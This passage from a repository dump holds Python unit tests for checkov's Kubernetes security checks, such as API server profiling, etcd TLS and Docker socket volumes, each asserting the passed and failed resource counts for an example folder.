    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerProfiling import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerProfiling(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerProfiling\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-disabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-enabled\",\n            \"Pod.kube-system.kube-apiserver-default\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerRequestTimeout.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerRequestTimeout import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerRequestTimeout(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerRequestTimeout\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        \n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerSecurePort.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerSecurePort import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerSecurePort(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerSecurePort\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-secure\",\n            \"Pod.kube-system.kube-apiserver-cmd-empty\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-not-secure\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerSecurityContextDenyPlugin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerSecurityContextDenyPlugin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerSecurityContextDenyPlugin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerSecurityContextDenyPlugin\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        \n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerServiceAccountKeyFile.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerServiceAccountKeyFile import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerServiceAccountKeyFile(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerServiceAccountKeyFile\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()                     \n        \n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerServiceAccountLookup.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerServiceAccountLookup import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerServiceAccountLookup(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerServiceAccountLookup\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerServiceAccountPlugin.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerServiceAccountPlugin import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerServiceAccountPlugin(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerServiceAccountPlugin\"\n\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n        \n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerStrongCryptographicCiphers.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerStrongCryptographicCiphers import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerStrongCryptographicCiphers(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerStrongCryptographicCiphers\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerTlsCertAndKey.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerTlsCertAndKey import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerTlsCertAndKey(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ApiServerTlsCertAndKey\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.kube-apiserver-key-and-cert\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.kube-apiserver-no-key\",\n            \"Pod.kube-system.kube-apiserver-missing\",\n            \"Pod.kube-system.kube-apiserver-key-and-cert-empty\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerTokenAuthFile.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerTokenAuthFile import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerProfiling(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerTokenAuthFile\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ApiServerkubeletCertificateAuthority.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ApiServerkubeletCertificateAuthority import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestApiServerkubeletCertificateAuthority(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ApiServerkubeletCertificateAuthority\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_CPULimits.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.CPULimits import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCPULimits(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Requests_Limits\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_CPURequests.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.CPURequests import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestCPURequests(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_Requests_Limits\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ContainerSecurityContext.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ContainerSecurityContext import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestContainerSecurityContext(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityContexts\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ControllerManagerBindAddress.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ControllerManagerBindAddress import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestControllerManagerBindAddress(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ControllerManagerBindAddress\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        for record in report.failed_checks:\n            with self.subTest(record=record):\n                self.assertIn(\"FAILED\", record.file_path)\n                self.assertIn(record.check_id, [check.id])\n\n        for record in report.passed_checks:\n            with self.subTest(record=record):\n                self.assertIn(\"PASSED\", record.file_path)\n                self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DangerousGitSync.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.DangerousGitSync import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass DangerousGitSync(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DangerousGitSync\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Deployment.default.blog-deployment-no-git-sync-git\",\n        }\n        failing_resources = {\n            \"Deployment.default.fail-deployment\",\n            \"Deployment.default.fail-deployment2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DefaultNamespace.py",
    "content": "import os\nimport unittest\nfrom unittest import mock\n\nfrom checkov.kubernetes.checks.resource.k8s.DefaultNamespace import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDefaultNamespace(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DefaultNamespace\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 9)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    @mock.patch.dict(os.environ, {\"HELM_NAMESPACE\": \"non-default\"})\n    def test_summary_with_env_var(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = current_dir + \"/example_DefaultNamespace\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 11)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DefaultServiceAccount.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.DefaultServiceAccount import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDefaultServiceAccount(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DefaultServiceAccount\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DefaultServiceAccountBinding.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.DefaultServiceAccountBinding import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDefaultServiceAccountBinding(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DefaultServiceAccountBinding\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DockerSocketVolume.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.DockerSocketVolume import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass DockerSocketVolume(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DockerSocketVolume\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DropCapabilities.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.DropCapabilities import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDropCapabilities(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DropCapabilities\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_DropCapabilitiesPSP.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.DropCapabilitiesPSP import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestDropCapabilitiesPSP(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PSP\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_EtcdAutoTls.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.EtcdAutoTls import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEtcdAutoTls(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EtcdAutoTls\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.etcd-default\",\n            \"Pod.kube-system.etcd-disabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.etcd-enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_EtcdCertAndKey.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.EtcdCertAndKey import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEtcdCertAndKey(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EtcdCertAndKey\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.etcd-key-and-cert\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.etcd-no-key\",\n            \"Pod.kube-system.etcd-missing\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_EtcdClientCertAuth.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.kubernetes.checks.resource.k8s.EtcdClientCertAuth import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEtcdClientCertAuth(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_EtcdClientCertAuth\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Pod.kube-system.etcd-enabled\",\n        }\n        failing_resources = {\n            \"Pod.kube-system.etcd-default\",\n            \"Pod.kube-system.etcd-disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_EtcdPeerFiles.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.EtcdPeerFiles import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestEtcdPeerFiles(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_EtcdPeerFiles\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n        \n        \n        for record in report.failed_checks:\n            self.assertIn(\"FAILED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n            \n        for record in report.passed_checks:\n            self.assertIn(\"PASSED\", record.file_path)\n            self.assertIn(record.check_id, [check.id])\n\n\nif __name__ == '__main__':\n    unittest.main()\n        \n    "
  },
  {
    "path": "tests/kubernetes/checks/test_HostPort.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.HostPort import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestHostPort(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_HostPort\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ImageDigest.py",
    "content": "import os\nimport unittest\n\nfrom checkov.kubernetes.checks.resource.k8s.ImageDigest import check\nfrom checkov.kubernetes.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestImageDigest(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ImageDigest\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/checks/test_ImagePullPolicyAlways.py",
